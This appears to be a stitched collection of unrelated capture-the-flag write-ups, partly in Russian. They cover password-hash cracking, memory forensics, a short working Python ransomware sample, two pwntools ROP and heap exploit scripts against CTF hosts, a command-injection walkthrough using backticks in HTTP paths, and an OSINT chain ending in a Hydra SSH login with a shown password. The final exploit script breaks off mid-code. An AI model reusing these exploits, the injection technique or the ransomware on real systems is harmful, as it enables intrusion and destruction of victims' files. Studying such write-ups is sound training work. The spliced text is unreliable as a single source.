6a b9 1e 0c fd be 4f 3b 93 39 58 52 bd 23 ea 0b 2d 8d d1 a2 79 55 0b d8 05 68 43 0d ae 06 d5 2d f8 25 ff b4 16 8d 21 3b 88 16 35 44 69 6d 5c 0e 59 a7 b3 01 04 06 00 01 09 30 00 07 0b 01 00 02 24 06 f1 07 01 0a 53 07 56 f2 43 9d 21 42 28 ae 21 21 01 00 01 00 0c 29 25 00 08 0a 01 4e 5d 1c 8e 00 00 05 01 19 09 00 00 00 00 00 00 00 00 00 11 0f 00 73 00 65 00 63 00 72 00 65 00 74 00 00 00 19 04 00 00 00 00 14 0a 01 00 80 33 4a 2c b7 1d d7 01 15 06 01 00 20 80 a4 81 00 00 0a 65 6e 64 ``` - From reading the [technical specifications](https://www.7-zip.org/recover.html) of the 7z file format, we know the file has to begin with `37 7A BC AF 27 1C` and end with `00 00`. Therefore, we can trim off the starting `0D 0A` and the ending `0A 65 6E 64` bytes, as they are not a part of the file.- Convert the hex dump to a 7z file: `$ xxd -r -p chicken.hex chicken.7z` ## Extracting and cracking 7z password hash with John the Ripper - Upon trying to extract the 7z file, we're greeted with a password prompt: `$ 7z x chicken.7z` ``` 7-Zip [64] 17.03 : Copyright (c) 1999-2020 Igor Pavlov : 2017-08-28 p7zip Version 17.03 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64) Scanning the drive for archives: 1 file, 186 bytes (1 KiB) Extracting archive: chicken.7z -- Path = chicken.7z Type = 7z Physical Size = 186 Headers Size = 138 Method = LZMA2:12 7zAES Solid = - Blocks = 1 Enter password (will not be echoed): _ ``` - We can obtain the password hash with `7z2john`: `$ 7z2john ./chicken.7z > chicken.hash` ``` chicken.7z:$7z$2$19$0$$8$56f2439d214228ae0000000000000000$2384223566$48$41$0cfdbe4f3b93395852bd23ea0b2d8dd1a279550bd80568430dae06d52df825ffb4168d213b88163544696d5c0e59a7b3$37$00 ``` - Now that we have the password hash, let's crack it using John with the rockyou.txt wordlist: `$ john chicken.hash --wordlist=rockyou.txt --format=7z-opencl` ``` Device 2@arch-zippy: GeForce GTX 1070 Using default input encoding: UTF-8 Loaded 1 password hash (7z-opencl, 7-Zip [SHA256 AES OpenCL]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 7 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:15 0.36% (ETA: 00:59:49) 0g/s 3576p/s 3576c/s 3576C/s Dev#2:61°C iiloveyou..simone13 0g 0:00:11:47 16.93% (ETA: 00:59:03) 0g/s 3736p/s 3736c/s 3736C/s Dev#2:59°C yahoomylove..y2j341 0g 0:00:19:51 29.15% (ETA: 00:57:34) 0g/s 3643p/s 3643c/s 3643C/s Dev#2:60°C rebel9250..rdoleo pineapple95 (chicken.7z) 1g 0:00:21:25 DONE (2021-03-29 00:10) 0.000778g/s 3627p/s 3627c/s 3627C/s Dev#2:59°C pinkice88..pincy Use the "--show" option to display all of the cracked passwords reliably Session completed ``` - After 21 gruelling minutes, we get the cracked password: `pineapple95` - Extract the 7z: `$ 7z x chicken.7z` ``` 7-Zip [64] 17.03 : Copyright (c) 1999-2020 Igor Pavlov : 2017-08-28 p7zip Version 17.03 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64) Scanning the drive for archives: 1 file, 186 bytes (1 KiB) Extracting archive: chicken.7z -- Path = chicken.7z Type = 7z Physical Size = 186 Headers Size = 138 Method = LZMA2:12 7zAES Solid = - Blocks = 1 Enter password (will not be echoed): pineapple95 Everything is Ok Size: 37 Compressed: 186 ``` - The 7z file contains a `secret` file, let's read it: `$ cat secret` ``` VU1BU1N7QF9sIUxfNW03SCFuXzN4N3JAfQo= ``` - This string seems to be encoded in base64, as hinted by the `=` padding. Decoding it gives: `$ echo "VU1BU1N7QF9sIUxfNW03SCFuXzN4N3JAfQo=" | base64 -d` ``` UMASS{@_l!L_5m7H!n_3x7r@} ``` - Winner winner chicken dinner, we got the flag! ## Resources 1. [https://isotropic.org/papers/chicken.pdf](https://isotropic.org/papers/chicken.pdf)2. [http://myexperimentswithmalware.blogspot.com/2014/09/pdf-analysis-with-peepdf.html](http://myexperimentswithmalware.blogspot.com/2014/09/pdf-analysis-with-peepdf.html)3. [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)4. [https://www.7-zip.org/recover.html](https://www.7-zip.org/recover.html)
Was it a car or a cat I saw? file: esab64 Notice that filename is base64 but backwardish. Read file backwards and decode as base64 using tac: tac -r -s 'x\|[^x]' esab64. This produces the flag but backwards so reverse again: tac -r -s 'x\|[^x]' esab64 | base64 -d | tac -r -s 'x\|[^x]' and get the flag Flag: flag{fb5211b498afe87b1bd0db601117e16e}
In sum,1. Factors of RSA modulus can be found efficiently using Fermat's Factorization Method2. Find [this paper](https://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=5140063BDB10AB1388C9AAB52A8071A1?doi=10.1.1.32.1835&rep=rep1&type=pdf) and understand the cryptosystem inside it.3. Optimize `v(n)` for fast decryption. This writeup shares other people's solutions (briefly) as well so do go and check their solutions (in detail) out too! Details can be found at https://n00bcak.github.io/writeups/2021/03/27/UMass-CTF.html
# notes By [Siorde](https://github.com/Siorde) ## DescriptionThe breach seems to have originated from this host. Can you find the user's mistake? Here is a memory image of their workstation from that day. ## SolutionAll we got is a memory dump. So obviously i'm gonna use Volatility to try to get the flag.```vol.py imageinfo -f ../image.memVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/siord/image.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a3b0a0L Number of Processors : 6 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a3cd00L KPCR for CPU 1 : 0xfffff880009f1000L KPCR for CPU 2 : 0xfffff88002ea9000L KPCR for CPU 3 : 0xfffff88002f1f000L KPCR for CPU 4 : 0xfffff88002f95000L KPCR for CPU 5 : 0xfffff88002fcb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2021-03-20 18:16:12 UTC+0000 Image local date and time : 2021-03-20 13:16:12 -0500``` Now that we have the profile, we can list the process that were in use : ```vol.py --profile=Win7SP1x64 -f ../image.mem pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8000ca0040 System 4 0 173 526 ------ 0 2021-03-20 18:57:47 UTC+00000xfffffa8002232b30 smss.exe 572 4 3 34 ------ 0 2021-03-20 18:57:47 UTC+00000xfffffa80026287f0 csrss.exe 656 640 10 394 0 0 2021-03-20 18:57:49 UTC+00000xfffffa8001e6e7c0 wininit.exe 688 640 3 82 0 0 2021-03-20 18:57:49 UTC+00000xfffffa8000cae240 csrss.exe 708 696 10 249 1 0 2021-03-20 18:57:49 UTC+00000xfffffa8001ff4b30 services.exe 744 688 8 205 0 0 2021-03-20 18:57:49 UTC+00000xfffffa80020ecb30 lsass.exe 760 688 9 564 0 0 2021-03-20 18:57:49 UTC+00000xfffffa8001e497c0 lsm.exe 768 688 10 149 0 0 2021-03-20 18:57:49 UTC+00000xfffffa8002195b30 svchost.exe 868 744 10 371 0 0 2021-03-20 18:57:49 UTC+00000xfffffa80022ce680 VBoxService.ex 928 744 13 146 0 0 2021-03-20 18:57:49 UTC+00000xfffffa8001f974e0 svchost.exe 988 744 8 268 0 0 2021-03-20 17:57:51 UTC+00000xfffffa8001e9d060 svchost.exe 604 744 20 476 0 0 2021-03-20 17:57:51 UTC+00000xfffffa80023e62d0 svchost.exe 736 744 17 458 0 0 2021-03-20 17:57:51 UTC+00000xfffffa80023eab30 svchost.exe 980 744 27 791 0 0 2021-03-20 17:57:51 UTC+00000xfffffa8002455b30 svchost.exe 1164 744 16 486 0 0 2021-03-20 17:57:51 UTC+00000xfffffa8002605890 svchost.exe 1264 744 16 426 0 0 2021-03-20 17:57:52 UTC+00000xfffffa8002623b30 spoolsv.exe 1356 744 12 311 0 0 2021-03-20 17:57:52 UTC+00000xfffffa8001f55890 svchost.exe 1384 744 17 317 0 0 2021-03-20 17:57:52 UTC+00000xfffffa800273d060 svchost.exe 1480 744 16 310 0 0 2021-03-20 17:57:52 UTC+00000xfffffa800274eb30 WLIDSVC.EXE 1572 744 8 257 0 0 2021-03-20 17:57:52 UTC+00000xfffffa8002b7a910 SearchIndexer. 1888 744 14 673 0 0 2021-03-20 17:57:52 UTC+00000xfffffa8002beb2e0 winlogon.exe 2004 696 3 116 1 0 2021-03-20 17:57:53 UTC+00000xfffffa8002cc7b30 WLIDSVCM.EXE 696 1572 3 58 0 0 2021-03-20 17:57:53 UTC+00000xfffffa8002da5060 taskhost.exe 2156 744 8 152 1 0 2021-03-20 17:57:53 UTC+00000xfffffa8002bbeb30 dwm.exe 2236 736 3 94 1 0 2021-03-20 17:57:54 UTC+00000xfffffa8002818060 explorer.exe 2288 2216 27 898 1 0 2021-03-20 17:57:54 UTC+00000xfffffa8002e1db30 VBoxTray.exe 2432 2288 15 156 1 0 2021-03-20 17:57:54 UTC+00000xfffffa8002de2b30 wmpnetwk.exe 2736 744 9 219 0 0 2021-03-20 17:58:00 UTC+00000xfffffa80010cc460 FTK Imager.exe 1552 2708 17 429 1 0 2021-03-20 17:59:24 UTC+00000xfffffa8000dd0060 notepad.exe 2696 2288 4 309 1 0 2021-03-20 17:59:34 UTC+00000xfffffa8000de7b30 mscorsvw.exe 2104 744 7 92 0 1 2021-03-20 17:59:53 UTC+00000xfffffa8002f82590 mscorsvw.exe 1724 744 7 87 0 0 2021-03-20 17:59:53 UTC+00000xfffffa8002773090 SearchProtocol 3292 1888 8 284 0 0 2021-03-20 18:15:53 UTC+00000xfffffa800213e4e0 SearchFilterHo 1740 1888 5 103 0 0 2021-03-20 18:15:53 UTC+0000``` As the title of the challenge is "notes", i thought that we could have the next step in the notepad.exe. So i dumped the memory of this process.```vol.py --profile=Win7SP1x64 -f ../image.mem memdump --pid 2696 --dump-dir ./Volatility Foundation Volatility Framework 2.6.1************************************************************************Writing notepad.exe [ 2696] to 2696.dmp ``` Then, i looked in the .dmp to see i find a match with the flag format : ```strings -e l 2696.dmp | grep -i "umass" UMASS{$3CUR3_$70Rag3}``` Challenge Validated
The challenge== `malware.py` is a Python "ransomware".Code is super-short: ```pythonfrom Crypto.Cipher import AESfrom Crypto.Util import Counterimport binasciiimport os key = os.urandom(16)iv = int(binascii.hexlify(os.urandom(16)), 16) for file_name in os.listdir(): data = open(file_name, 'rb').read() cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv)) enc = open(file_name + '.enc', 'wb') enc.write(cipher.encrypt(data)) iv += 1``` So, the algorithm is:1. `key` is 16 random bytes.2. `iv` is 16 random bytes.3. In each step, we use `AES-CTR` with the counter being 128 bits, with the initial value being the `iv`.4. `iv` is simply increased in each step. Luckily, one of the files that's being encrypted is `malware.py` itself, so we have a plaintext-encrypted pair. AES-CTR==The `counter` mode in block cipher cryptography generates a stream cipher out of a block cipher. The way it works is as follows:``` nonce+0 nonce+1 .... nonce+n | | | V V V _____ _____ _____ | | | | | | | AES | | AES | .... | AES | |_____| |_____| |_____| | | | P0 --> XOR P1 --> XOR Pn --> XOR | | | C0 <--+ C1 <--+ Cn <--+ ``` So, `nonce` (which is practically a `counter`) is increased by one for each block.Note that blocks are not dependent on each other; this allows running the cipher in parallel. However, this also means the same input counter shouldn't be used more than once - if it does, it harms the security of the cipher. This is exactly what happens in this challenge! Solution==In our challenge, since `iv` is increased by one with each file, it means there are repeations of the `counter` we could exploit. Let us note that `flag.txt.enc` is 38 bytes long, so it has `3` blocks. In python, `os.listdir()` is of arbitrary order.However, since we only know `malware.py` (as plaintext) and I assume the challenge is fully solvable, I assume `flag.txt` was encrypted after `malware.py`. Let's say `flag.txt` was encrypted `k` files after `malware.py`.Then, if the value of `IV` when encrypting `malware` was `ctr` then the `IV` value was `ctr+k`. Now let's denote the following:1. `Pm[n]` is the plaintext block `n` of `malware.py`.2. `Cm[n]` is the ciphertext block `n` from `malware.py.enc`.3. `Pf[n]` is the plaintext block `n` of `flag.txt`.4. `Cf[n]` is the ciphertext block `n` from `flag.txt.enc`. Due to how `AES-CTR` works, we can conclude about `flag.txt`:```Cf[0] = Pf[0] ^ AES[ctr+k+0]Cf[1] = Pf[1] ^ AES[ctr+k+1]Cf[2] = Pf[2] ^ AES[ctr+k+2]``` And conclude about `malware.py`:```Cm[k+0] = Pm[k+0] ^ AES[ctr+k+0]Cm[k+1] = Pm[k+1] ^ AES[ctr+k+1]Cm[k+2] = Pm[k+2] ^ AES[ctr+k+2]``` Doing some algebra to isolate `AES[ctr+k+0]`, `AES[ctr+k+1]` and `AES[ctr+k+2]` results in:```Pf[0] = Cf[0] ^ Pm[k+0] ^ Cm[k+0]Pf[1] = Cf[1] ^ Pm[k+2] ^ Cm[k+1]Pf[2] = Cf[2] ^ Pm[k+1] ^ Cm[k+2]``` So, somewhere in `malware.py` and `malware.py.enc` we have blocks that XORed with the blocks of `flag.txt.enc` will get us the flag!Also, due to the low number of files, `k` can be either `1`, `2` or `3` (since there are only `4` encrypted files). So, the solution is simple:```pythondef get_blocks(x): return [ x[i:i+16] for i in range(0, len(x), 16) ] def xor_blocks(b1, b2): return [ b1[i] ^ b2[i] for i in range(len(b1)) ] pm_blocks = get_blocks(open('malware.py', 'rb').read())cm_blocks = get_blocks(open('malware.py.enc', 'rb').read())cf_blocks = get_blocks(open('flag.txt.enc', 'rb').read()) for k in [1, 2, 3]: result = '' for index in range(3): xored_malware_block = xor_blocks(pm_blocks[index + k], cm_blocks[index + k]) flag_plaintext_block = xor_blocks(cf_blocks[index], xored_malware_block) result += ''.join(map(chr, flag_plaintext_block)) print('Result for k=%d is %s' % (k, result)) ``` It worked for `k=2` with the flag `UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}`.
Original writeup -> [https://telegra.ph/Write-up-Revocryptoforensics-SPRUSH-CTF-03-21](https://telegra.ph/Write-up-Revocryptoforensics-SPRUSH-CTF-03-21)
## Sandboxed ROP (445 points) ### Description Chain of Fools Chain, keep us together. Running in the shadow. Flag is in /pwn/flag.txt nc challenges.ctfd.io 30018 running on ubuntu 20.04 ### Gathering information We can decompile the binary using Ghidra.The main function looks like this: ```cundefined8 main(EVP_PKEY_CTX *param_1) { undefined buffer [16]; init(param_1); init_seccomp(); puts("pwn dis shit"); read(0,buffer,0x200); return 0;}``` We can already notice the buffer overflow. This time, though, there's a catch. The `init_seccomp()` function has included some seccomp rules. These are basically rules that are placed in the program to make it behave in some secure way. Check the manual for more informations. The decompiled function looks like this: ```cvoid init_seccomp(void) { undefined8 seccomp_filter; seccomp_filter = seccomp_init(0); seccomp_rule_add(seccomp_filter,0x7fff0000,2,0); seccomp_rule_add(seccomp_filter,0x7fff0000,0,0); seccomp_rule_add(seccomp_filter,0x7fff0000,1,0); seccomp_rule_add(seccomp_filter,0x7fff0000,0xe7,0); seccomp_rule_add(seccomp_filter,0x7fff0000,0x101,0); seccomp_load(seccomp_filter); return;} ``` This function is initializing and loading a seccomp filter that basically forbids every syscall but the read, write, open, exit_group and openat ones. Hence, we need to develop an exploit using these syscall only. ### Exploitation The main idea of the exploit is to: - Leak libc in order to be able to call `open` (we are missing a sycall instruction!) - Write `/pwn/flag.txt` to memory and call `open` with it - Read from the opened file descriptor, then output what we've read We've developed a small POC before trying to exploit this, in order to make sure that the idea would have worker: ```c#include <stdio.h>#include <seccomp.h> #include <unistd.h>#include <sys/stat.h>#include <fcntl.h> int main(){ scmp_filter_ctx uVar1 = seccomp_init(0), uVar2; seccomp_rule_add(uVar1,0x7fff0000,2,0); seccomp_rule_add(uVar1,0x7fff0000,0,0); seccomp_rule_add(uVar1,0x7fff0000,1,0); seccomp_rule_add(uVar1,0x7fff0000,0xe7,0); seccomp_rule_add(uVar1,0x7fff0000,0x101,0); seccomp_load(uVar1); int fd = open("./flag.txt",O_RDONLY); if(fd == -1){ write(1, "Did you create the flag.txt file?\n", 34); } char buff[20] = {0}; read(fd, buff, 20); write(1, buff, 20);}``` Compiling it with gcc (the `-lseccomp` flag was needed) and executing printed out our fake flag, so we were good to go! ```python#!/usr/bin/env python3 from pwn import * HOST = 'challenges.ctfd.io'PORT = 30018 exe = ELF('./chal.out')rop = ROP(exe) context.binary = execontext.log_level = 'debug' def conn(): if args.LOCAL: libc = ELF('/usr/lib/libc-2.33.so', checksec = False) return process([exe.path]), libc, './flag.txt' else: libc = ELF('./libc6_2.31-0ubuntu9.1_amd64.so', checksec = False) return remote(HOST, PORT), libc, '/pwn/flag.txt' def create_rop(ropchain): buff_len = 0x16 payload = b'A' * buff_len payload += b'B' * 2 payload += ropchain return payload def main(): io, libc, flag = conn() # good luck pwning :) # ---------------------------------------------------- # # ---------------------- gadgets --------------------- # # ---------------------------------------------------- # pop_rsp = 0x000000000040139d # pop rsp; pop r13; pop r14; pop r15; ret; pop_rdi = 0x00000000004013a3 # pop rdi; ret; pop_rsi = 0x00000000004013a1 # pop rsi; pop r15; ret; pop_rdx = 0x00000000004011de # pop rdx; ret; pwn_dis_shit_ptr = 0x00402004 # 'pwn dis shit' # ---------------------------------------------------- # # ------------------- leaking libc ------------------- # # ---------------------------------------------------- # rop = ROP(exe) leak_func = 'read' # Note: we MUST leak libc because we do NOT have any 'syscall' instruction! # We can use the bss segment to read/write another ropchain. # We need to write another ropchain because we do not know, # at the time of sending this rop, the base of libc. other_ropchain_addr = exe.bss(100) # Leak reading with puts the GOT of a function rop.puts(exe.got[leak_func]) rop.puts(pwn_dis_shit_ptr) # used as a marker to send the second ropchain # Read the second ropchain into memory at the specified address rop.read(0, other_ropchain_addr, 0x1000) # PIVOT the stack into the second ropchain # We are popping the RSP register, effectively moving our stack # to the specified popped address. The program will keep executing # normally, but the stack will be at our chosen position rop.raw(pop_rsp) rop.raw(other_ropchain_addr) # Just a little debugging trick for ropchains log.info('# ================ ROP 1 ================= #') log.info(rop.dump()) # Send the payload payload = create_rop(rop.chain()) io.sendlineafter('pwn dis shit', payload) # Get the libc leak. We again use https://libc.blukat.me # to find the correct libc version used on the server libc_leak = u64(io.recvuntil('\x7f')[1:].ljust(8, b'\x00')) log.info(f'{leak_func} @ {hex(libc_leak)}') libc.address = libc_leak - libc.symbols[leak_func] log.info(f'libc base @ {hex(libc.address)}') # Some useful gadgets from libc mov_ptrrdx_eax = libc.address + 0x00000000000374b1 # mov dword ptr [rdx], eax; ret; syscall_ret = libc.address + 0x0000000000066229 # syscall; ret; # ---------------------------------------------------- # # -------------- open('/pwn/flag.txt') --------------- # # ------------- read(flagfd, mem, len) --------------- # # ------------- write(stdout, mem, len) -------------- # # ---------------------------------------------------- # rop = ROP(exe) strings_addr = exe.bss(400) # a place far enough from our ropchain # 3 POPs to adjust previous stack pivoting # The pop_rsp gadget was also popping other 3 registers! rop.raw(0) rop.raw(0) rop.raw(0) # Read the '/pwn/flag.txt' string from stdin rop.read(0, strings_addr, len(flag)) # Execute the open('/pwn/flag.txt') libc function (this is why we needed libc btw) rop.raw(pop_rdi) rop.raw(strings_addr) rop.raw(pop_rsi) rop.raw(0x000) # O_RDONLY rop.raw(0) # pop_rsi pops 2 registers! rop.raw(libc.symbols['open']) # The followings instructions were used to check if the file descriptor # from whom we were trying to read was correct. We also determined this by # debugging the exploit with gdb in an ubuntu 20.04 container (which was the # one used in the challenge, as the description reported). # # We determined that the correct fd was 5 # # rop.raw(pop_rdx) # rop.raw(exe.bss(600)) # rop.raw(mov_ptrrdx_eax) # rop.puts(exe.bss(600)) # Read into our address the flag... rop.read(5, strings_addr, 50) # ...and then print it out rop.puts(exe.bss(400)) log.info('# ================ ROP 2 ================= #') log.info(rop.dump()) # Send second ropchain io.sendlineafter('pwn dis shit', rop.chain()) # Send the flag filename ('/pwn/flag.txt' on the server) io.send(flag) # Profit log.success(f'Flag: {io.recvall().decode().strip()}') if __name__ == '__main__': main() ``` ### The Flag The flag was `UDCTF{R0PEN_RE@D_WR!T3_right??}` ### Conclusion Indeed a fun and instructive challenge. That's the first time I've seen this `seccomp` stuff!
# PikCha Once we visit the page we get this: ![PikCha](https://user-images.githubusercontent.com/29373869/112759986-53bf5000-8fed-11eb-9b48-8d97d903cc41.png) I started looking around and saw something interesting with the cookies :D ![PikCha2](https://user-images.githubusercontent.com/29373869/112760002-5e79e500-8fed-11eb-8c7b-a1f40b304965.png) I wonder what are those values?!After googling, I discovered that each of those values represent the ID of one pokemon and if you look at the values,they match the pokemons on the picture!So I created a python script. ```import time import jwt import requests import re from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as ec from selenium.webdriver.common.by import By url = 'http://34.121.84.161:8084'api= 'https://pokeapi.co/api/v2/pokemon/?limit=1000' #Open chrome and go to the challenge pagedriver = webdriver.Chrome() driver.get(url) time.sleep(1) # Let the user actually see something! #Get a json with all the pokemons infomationrPokemon = requests.get(api) #Decodes the cookie and gets the pokemon name 500 timesfor x in range(501): session_cookie = driver.get_cookie('session')["value"] pokeValues = jwt.get_unverified_header(session_cookie)['answer'] pokemonName = "" for x in pokeValues: print(x) pokemon = re.findall("name\":\"[a-z-]+\",\"url\":\"https://pokeapi.co/api/v2/pokemon/" + str(x) +"/",rPokemon.text) pokemonName += re.findall("^[a-z-]+",pokemon[0][7:])[0] + " " WebDriverWait(driver, 10).until(ec.element_to_be_clickable((By.ID, "guess"))) driver.find_element_by_id("guess").send_keys(pokemonName[:-1]) driver.find_element_by_xpath("//input[@type='submit']").click() ``` FLAG=UMASS{G0tt4_c4tch_th3m_4ll_17263548}
**Видим задание за 300 - сразу же переходим по ссылке и тыкаем кнопочки, смотрим что получилось:**![](https://c.redn.xyz/rPC.png) **Лезем в запросы, и вытаскиваем два POST метода - reset и fire:** ![](https://c.redn.xyz/U_1.png) **Сразу же имплементируем их на нормальном ЯП:** ![](https://c.redn.xyz/wxu.png)![](https://c.redn.xyz/9jE.png) **А затем уже думаем, как можно поступить, и на ум приходит простая триангуляция, мы можем с большой точностью определить координаты обьекта зная координаты трех точек и расстояния от них до обьекта, гуглим расчеты и имплементируем метод:**![](https://c.redn.xyz/Ysv.png) (Не обязательно) Можем пострелять в центр и замерить максимальное расстояние, получилось около 890, округляем до 1000 - это и есть радиус поля **А потом уже пишем главный метод, который стреляет в три рандомно выбранных точки (ну почти рандомно), триангулирует корабль, и стреляет по нему:**![](https://c.redn.xyz/WzP.png) Не успеваем обрадоваться флагу из консоли, который ugra_gotta_hit_fast{random}, и не сдаем его, ведь русские не сдаются ![](https://c.redn.xyz/pGw.png)
I tried the link in my browser and it wasn't loading, so I decidedto statically analyze the webserver in Ghidra. From the static analysis, I noticed that if "GET / HTTP/1.1" was sentto the server, that it had a predetermined response. I then pulled upnetcat, connected to the server, and sent "GET / HTTP/1.1" and got thisresponse (Note that, from here on out, I used netcat to communicate with the server, since the HTTP requests weren't complicated). I then noticed that it mentioned to try "GET /echo?message HTTP/1.1", so I tried that (thanks for making my dynamic analysis easier), andI did get the string "message" back. Naturally, I was very curious abouthow they did that, so I looked more in Ghidra and saw that, if theheader is of the form "GET /<command>?<arguments> HTTP/1.1" Then it would do a popen in the code with '<command> <arguments>' asthe string to pass to the function and write the first "few" bytesfrom the process output to the HTTP response body. I tested this with "GET /ls?. HTTP/1.1" to confirm this, and it didactually list out things in the directory. However, the command actskind of funny for some strange reason which I wasn't sure about. After a bit of toying around, I realized that I could encode spaces inthe command by typing '$' in arguments, since it actually puts a spacewhenever it sees '$' For example, if I write "GET /echo?hello$world$how$are$you HTTP/1.1", the popenstring becomes 'echo hello world how are you'. I also notice that backticks (`) aren't converted to spaces. That gives me a certainidea. If I send to the server GET /echo?`ls$-la` HTTP/1.1 The server should blissfully run "echo `ls -la`" (which it should've done before,but it never hurts to try different things). Sure enough, running that gives me. total 104 drwxr-xr-x 1 root root 4096 Mar 27 19:17 . drwxr-xr-x 1 root root 4096 Mar 27 19:17 .. -rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 root root 807 Feb 25 2020 .profile -rwxr-xr-x 1 root root 17704 Mar 27 19:14 a.out -rwxr-xr-x 1 root root 39256 Mar 27 19:14 echo -rw-r--r-- 1 root root 16 Mar 27 19:14 flag.txt -rwxr-xr-x 1 root root 18744 Mar 27 19:14 ynetd Optionally, you could also do GET /echo?`ls` HTTP/1.1 to get the simpler output a.out echo flag.txt ynetd After that, simply entering GET /echo?`cat$flag.txt` HTTP/1.1 Gives you the flag UMASS{f^gJkmvYq}
# Constellations Challenges unlocked by submitting flag. Overview ![Overview](img/OSINT_mermaid.png) - [Constellations](#constellations) - [The Mission](#the-mission) - [Bionic](#bionic) - [Gus](#gus) - [Hercules](#hercules) - [Meet The Team](#meet-the-team) - [Lyra](#lyra) - [Hydraulic](#hydraulic) ## [The Mission](https://ctf.nahamcon.com/mission) Flag on html source>Ctrl+u>>Ctrl+f "flag{" ``flag{48e117a1464c3202714dc9a350533a59}`` ### Bionic <https://constellations.page/> Source index has the following link to twitter witch have posted a flag ```HTMLhttps://twitter.com/C0NST3LLAT10NSflag{e483bffafbb0db5eabc121846b455bc7}``` link <https://github.com/constellations-git> ### Gus GitHub user gusrody is listed as member on constellations repo <https://github.com/gusrodry/development/blob/master/config/.ssh/flag.txt> - `` flag{84d5cc7e162895fa0a5834f1efdd0b32} `` .ssh folder has keys Is followed by HerculesScox ### Hercules <https://github.com/HerculesScox/maintenance/blob/main/connect.sh> - `` flag{5bf9da15002d7ea53cb487f31781ce47} `` Has hard corded credentials robots.txt ```txtDisallow: /meet-the-team.html``` ``flag{33b5240485dda77430d3de22996297a1}`` Enumerating root Tool: dirbuster Finding: .git/HEAD .git/config ```txt[user] name = Leo Rison email = [email protected]``` How to leverage the exposed git? [Google-fu](https://medium.com/swlh/hacking-git-directories-e0e60fa79a36) [Google-fu](https://github.com/internetwache/GitTools) ### Meet The Team Restored meet-the-team.html has the flag and lists PII. `` flag{4063962f3a52f923ddb4411c139dd24c} `` ### Lyra <https://twitter.com/LyraPatte> > IDOR>><https://constellations.page/constellations-documents/1/>>><https://constellations.page/constellations-documents/2/> <https://constellations.page/constellations-documents/5/> Has the flag and list of users, passwords. `` flag{bd869e6193c27308d2fd3ad4b427e8c3} `` ### Hydraulic Tool: Hydra [users](users) [passwords](passwords) ```Bash[31975][ssh] host: challenge.nahamcon.com login: pavo password: starsinthesky```
## Steps1. Use Leak Function to leak the stack, binary and libc address2. Overwrite `__free_hook` with arb_write_function to get arb_write primitive3. Use arb_write primitive to write ropchain on the stack ## exploit ```python3#!/usr/bin/env python3from pwn import * HOST, PORT = 'bin.q21.ctfsecurinets.com', 1338# HOST, PORT = 'localhost', 1338exe = ELF('./kill_shot')libc = ELF('./libc_kill_shot.so') def get_proc(): if args.REMOTE: io = remote(HOST, PORT) else: io = process(exe.path) return io io = get_proc() gdbscript = """b* $rebase(0x1237)""" if args.GDB and not args.REMOTE: gdb.attach(io, gdbscript=gdbscript) # hack the planet leak_payload = b"%25$p|%17$p|%16$p|" io.sendafter(b"Format: ", leak_payload)leaks = io.recvline().strip().split(b"|")libc_leak = int(leaks[0],16)libc_base = libc_leak - 0x21b97bin_leak = int(leaks[1], 16)bin_base = bin_leak - 0x11b3stack_leak = int(leaks[2], 16)rop_chain_base = stack_leak+8exe.address = bin_baselibc.address = libc_base pop_rdi = bin_base + 0x00000000000012a3pop_rsi = libc_base + 0x0000000000023e8apop_rdx = libc_base + 0x0000000000001b96pop_r10 = libc_base + 0x0000000000130865pop_rax = libc_base + 0x0000000000043a78 syscall = libc_base + 0x00000000000013c0 flag_file = b"/home/ctf/flag.txt" success(f"libc_ret leak: {hex(libc_leak)}")success(f"libc_base: {hex(libc_base)}")success(f"bin_leak: {hex(bin_leak)}")success(f"bin_base: {hex(bin_base)}")success(f"stack_leak: {hex(stack_leak)}") print(libc.symbols['__free_hook']) io.sendafter(b"Pointer: ", f"{libc.symbols['__free_hook']}")io.sendafter(b"Content: ", p64(exe.address + 0x10b4)) def add(size=0x10, data=b"AAAA"): io.clean() io.send(b"1") io.sendafter(b"Size: ", f'{size}') io.sendafter(b"Data: ", data) def free(idx): io.clean() io.send(b"2") io.sendafter(b"Index: ", f"{idx}") def arb_write_8(addr, content): add() free(1) io.sendafter(b"Pointer: ", f"{addr}") io.sendafter(b"Content: ", content) add() bss = exe.bss(0x500) arb_write_8(rop_chain_base, p64(pop_rdi))arb_write_8(rop_chain_base + 0x8, p64(0x0))arb_write_8(rop_chain_base + 0x10, p64(pop_rsi))arb_write_8(rop_chain_base + 0x18, p64(bss))arb_write_8(rop_chain_base + 0x20, p64(pop_rdx))arb_write_8(rop_chain_base + 0x28, p64(len(flag_file)+1))arb_write_8(rop_chain_base + 0x30, p64(libc.symbols['read'])) arb_write_8(rop_chain_base + 0x38, p64(pop_rdi))arb_write_8(rop_chain_base + 0x40, p64(bss))arb_write_8(rop_chain_base + 0x48, p64(pop_rsi))arb_write_8(rop_chain_base + 0x50, p64(0))arb_write_8(rop_chain_base + 0x58, p64(libc.symbols['open'])) arb_write_8(rop_chain_base + 0x60, 